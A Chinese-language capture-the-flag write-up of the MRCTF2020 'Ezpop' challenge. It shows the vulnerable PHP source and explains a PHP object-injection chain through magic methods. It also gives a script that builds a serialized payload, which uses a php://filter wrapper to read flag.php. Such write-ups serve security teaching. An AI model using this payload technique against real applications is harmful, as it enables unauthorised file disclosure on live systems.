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            <span>十一月 19, 2022</span>
            

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            <h2 id="MRCTF2020-Ezpop"><a href="#MRCTF2020-Ezpop" class="headerlink" title="[MRCTF2020]Ezpop"></a>[MRCTF2020]Ezpop</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">//flag is in flag.php</span><br><span class="line">//WTF IS THIS?</span><br><span class="line">//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95</span><br><span class="line">//And Crack It!</span><br><span class="line">class Modifier &#123;</span><br><span class="line">    protected  $var;</span><br><span class="line">    public function append($value)&#123;</span><br><span class="line">        include($value);</span><br><span class="line">    &#125;</span><br><span class="line">    public function __invoke()&#123;</span><br><span class="line">        $this-&gt;append($this-&gt;var);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">class Show&#123;</span><br><span class="line">    public $source;</span><br><span class="line">    public $str;</span><br><span class="line">    public function __construct($file=&#x27;index.php&#x27;)&#123;</span><br><span class="line">        $this-&gt;source = $file;</span><br><span class="line">        echo &#x27;Welcome to &#x27;.$this-&gt;source.&quot;&lt;br&gt;&quot;;</span><br><span class="line">    &#125;</span><br><span class="line">    public function __toString()&#123;</span><br><span class="line">        return $this-&gt;str-&gt;source;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public function __wakeup()&#123;</span><br><span class="line">        if(preg_match(&quot;/gopher|http|file|ftp|https|dict|\.\./i&quot;, $this-&gt;source)) &#123;</span><br><span class="line">            echo &quot;hacker&quot;;</span><br><span class="line">            $this-&gt;source = &quot;index.php&quot;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">class Test&#123;</span><br><span class="line">    public $p;</span><br><span class="line">    public function __construct()&#123;</span><br><span class="line">        $this-&gt;p = array();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public function __get($key)&#123;</span><br><span class="line">        $function = $this-&gt;p;</span><br><span class="line">        return $function();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if(isset($_GET[&#x27;pop&#x27;]))&#123;</span><br><span class="line">    @unserialize($_GET[&#x27;pop&#x27;]);</span><br><span class="line">&#125;</span><br><span class="line">else&#123;</span><br><span class="line">    $a=new Show;</span><br><span class="line">    highlight_file(__FILE__);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>1.unserialize时候应该先调用wakeup，为了不替换为index.php，则将$this-&gt;source变为类 $source&#x3D;new Show</p>
<p>2.new 之后可以调用__toString()，可以创建一个,利用construct初始化str来newTest</p>
<p>class Show{<br>    public $source;<br>    public $str;<br>    public function __construct(){<br>   return $this-&gt;str&#x3D;new Test;<br>    }</p>
<p>}</p>
<ol start="3">
<li><p>因为$this-&gt;p &#x3D; array()，使用test 调用invoke</p>
</li>
<li><p>最后利用var 获得包含的文件</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">class Modifier &#123;</span><br><span class="line">    protected  $var=&#x27;php://filter/read=convert.base64-encode/resource=flag.php&#x27;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">class Show&#123;</span><br><span class="line">    public $source;</span><br><span class="line">    public $str;</span><br><span class="line">    public function __construct()&#123;</span><br><span class="line">   return $this-&gt;str=new Test;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">class Test&#123;</span><br><span class="line">    public $p;</span><br><span class="line">    public function __construct()&#123;</span><br><span class="line">        $this-&gt;p = new Modifier;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$a=new Show;</span><br><span class="line"></span><br><span class="line">$b=new Show;</span><br><span class="line"></span><br><span class="line">$b-&gt;source=$a;</span><br><span class="line"></span><br><span class="line">var_dump(urlencode(serialize($b)));</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>

<p>得到flag</p>
<p><img src="/2022/11/19/dfdf/g.png" alt="结果图"></p>
<p><img src="/2022/11/19/dfdf/j.png" alt="结果图"></p>
</li>
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